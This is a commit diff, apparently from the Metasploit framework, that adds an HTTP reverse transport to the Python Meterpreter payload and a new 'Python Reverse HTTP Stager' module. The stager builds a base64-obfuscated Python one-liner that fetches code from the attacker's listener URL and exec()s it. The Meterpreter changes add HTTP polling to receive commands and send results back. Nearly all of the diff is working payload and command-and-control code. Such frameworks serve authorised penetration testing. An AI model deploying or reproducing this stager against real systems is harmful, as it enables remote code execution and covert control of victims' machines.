Pymet reverse_http stager basic implementation
parent
6b2387b7fc
commit
681ae8ce6b
|
@ -60,9 +60,9 @@ if sys.version_info[0] < 3:
|
||||||
bytes = lambda *args: str(*args[:1])
|
bytes = lambda *args: str(*args[:1])
|
||||||
NULL_BYTE = '\x00'
|
NULL_BYTE = '\x00'
|
||||||
else:
|
else:
|
||||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||||
long = int
|
long = int
|
||||||
|
|
||||||
|
|
|
@ -19,7 +19,10 @@ else:
|
||||||
has_windll = hasattr(ctypes, 'windll')
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import urllib
|
if sys.version_info[0] < 3:
|
||||||
|
urlopen = __import__('urllib', fromlist=['urlopen']).urlopen
|
||||||
|
else:
|
||||||
|
urlopen = __import__('urllib.request', fromlist=['urlopen']).urlopen
|
||||||
except ImportError:
|
except ImportError:
|
||||||
has_urllib = False
|
has_urllib = False
|
||||||
else:
|
else:
|
||||||
|
@ -30,9 +33,11 @@ if sys.version_info[0] < 3:
|
||||||
bytes = lambda *args: str(*args[:1])
|
bytes = lambda *args: str(*args[:1])
|
||||||
NULL_BYTE = '\x00'
|
NULL_BYTE = '\x00'
|
||||||
else:
|
else:
|
||||||
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||||
|
long = int
|
||||||
|
|
||||||
#
|
#
|
||||||
# Constants
|
# Constants
|
||||||
|
@ -294,12 +299,21 @@ export(STDProcess)
|
||||||
class PythonMeterpreter(object):
|
class PythonMeterpreter(object):
|
||||||
def __init__(self, socket=None):
|
def __init__(self, socket=None):
|
||||||
self.socket = socket
|
self.socket = socket
|
||||||
|
self.driver = None
|
||||||
|
self.running = False
|
||||||
|
self.communications_active = True
|
||||||
|
self.communications_last = 0
|
||||||
|
if self.socket:
|
||||||
|
self.driver = 'tcp'
|
||||||
|
elif CONNECTION_URL:
|
||||||
|
self.driver = 'http'
|
||||||
self.extension_functions = {}
|
self.extension_functions = {}
|
||||||
self.channels = {}
|
self.channels = {}
|
||||||
self.interact_channels = []
|
self.interact_channels = []
|
||||||
self.processes = {}
|
self.processes = {}
|
||||||
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
||||||
self.extension_functions[func[1:]] = getattr(self, func)
|
self.extension_functions[func[1:]] = getattr(self, func)
|
||||||
|
if self.driver:
|
||||||
self.running = True
|
self.running = True
|
||||||
|
|
||||||
def register_function(self, func):
|
def register_function(self, func):
|
||||||
|
@ -327,24 +341,60 @@ class PythonMeterpreter(object):
|
||||||
return idx
|
return idx
|
||||||
|
|
||||||
def get_packet(self):
|
def get_packet(self):
|
||||||
request = None
|
packet = getattr(self, 'get_packet_' + self.driver)()
|
||||||
|
self.communications_last = time.time()
|
||||||
|
if packet:
|
||||||
|
self.communications_active = True
|
||||||
|
return packet
|
||||||
|
|
||||||
|
def send_packet(self, packet):
|
||||||
|
getattr(self, 'send_packet_' + self.driver)(packet)
|
||||||
|
self.communications_last = time.time()
|
||||||
|
self.communications_active = True
|
||||||
|
|
||||||
|
def get_packet_http(self):
|
||||||
|
packet = None
|
||||||
|
try:
|
||||||
|
url_h = urlopen(CONNECTION_URL, bytes('RECV', 'UTF-8'))
|
||||||
|
packet = url_h.read()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
if packet:
|
||||||
|
packet = packet[8:]
|
||||||
|
else:
|
||||||
|
packet = None
|
||||||
|
return packet
|
||||||
|
|
||||||
|
def send_packet_http(self, packet):
|
||||||
|
try:
|
||||||
|
url_h = urlopen(CONNECTION_URL, packet)
|
||||||
|
response = url_h.read()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def get_packet_tcp(self):
|
||||||
|
packet = None
|
||||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||||
request = self.socket.recv(8)
|
packet = self.socket.recv(8)
|
||||||
if len(request) != 8:
|
if len(packet) != 8:
|
||||||
self.running = False
|
self.running = False
|
||||||
return None
|
return None
|
||||||
req_length, req_type = struct.unpack('>II', request)
|
pkt_length, pkt_type = struct.unpack('>II', packet)
|
||||||
req_length -= 8
|
pkt_length -= 8
|
||||||
request = bytes()
|
packet = bytes()
|
||||||
while len(request) < req_length:
|
while len(packet) < pkt_length:
|
||||||
request += self.socket.recv(4096)
|
packet += self.socket.recv(4096)
|
||||||
return request
|
return packet
|
||||||
|
|
||||||
def send_packet(self, response):
|
def send_packet_tcp(self, packet):
|
||||||
self.socket.send(response)
|
self.socket.send(packet)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
while self.running:
|
while self.running:
|
||||||
|
request = None
|
||||||
|
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
|
||||||
|
self.communications_active = False
|
||||||
|
if should_get_packet:
|
||||||
request = self.get_packet()
|
request = self.get_packet()
|
||||||
if request:
|
if request:
|
||||||
response = self.create_response(request)
|
response = self.create_response(request)
|
||||||
|
@ -565,7 +615,7 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||||
except OSError:
|
except OSError:
|
||||||
pass
|
pass
|
||||||
if CONNECTION_URL and has_urllib:
|
if CONNECTION_URL and has_urllib:
|
||||||
met = PythonMeterpreter(s)
|
met = PythonMeterpreter()
|
||||||
else:
|
else:
|
||||||
met = PythonMeterpreter(s)
|
met = PythonMeterpreter(s)
|
||||||
met.run()
|
met.run()
|
||||||
|
|
|
@ -0,0 +1,64 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_http'
|
||||||
|
|
||||||
|
module Metasploit3
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Python Reverse HTTP Stager',
|
||||||
|
'Description' => 'Tunnel communication over HTTP',
|
||||||
|
'Author' => 'Spencer McIntyre',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Handler' => Msf::Handler::ReverseHttp,
|
||||||
|
'Convention' => 'http',
|
||||||
|
'Stager' => {'Payload' => ""}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||||
|
#
|
||||||
|
def stage_over_connection?
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Constructs the payload
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
lhost = datastore['LHOST'] || Rex::Socket.source_address
|
||||||
|
|
||||||
|
target_url = 'http://'
|
||||||
|
target_url << lhost
|
||||||
|
target_url << ':'
|
||||||
|
target_url << datastore['LPORT'].to_s
|
||||||
|
target_url << '/'
|
||||||
|
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
|
||||||
|
|
||||||
|
cmd = "import sys\n"
|
||||||
|
cmd << "exec(__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=['urlopen']).urlopen('#{target_url}').read())\n"
|
||||||
|
|
||||||
|
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||||
|
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||||
|
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||||
|
b64_stub << Rex::Text.encode_base64(cmd)
|
||||||
|
b64_stub << "')))"
|
||||||
|
return b64_stub
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||||
|
#
|
||||||
|
def wfs_delay
|
||||||
|
20
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue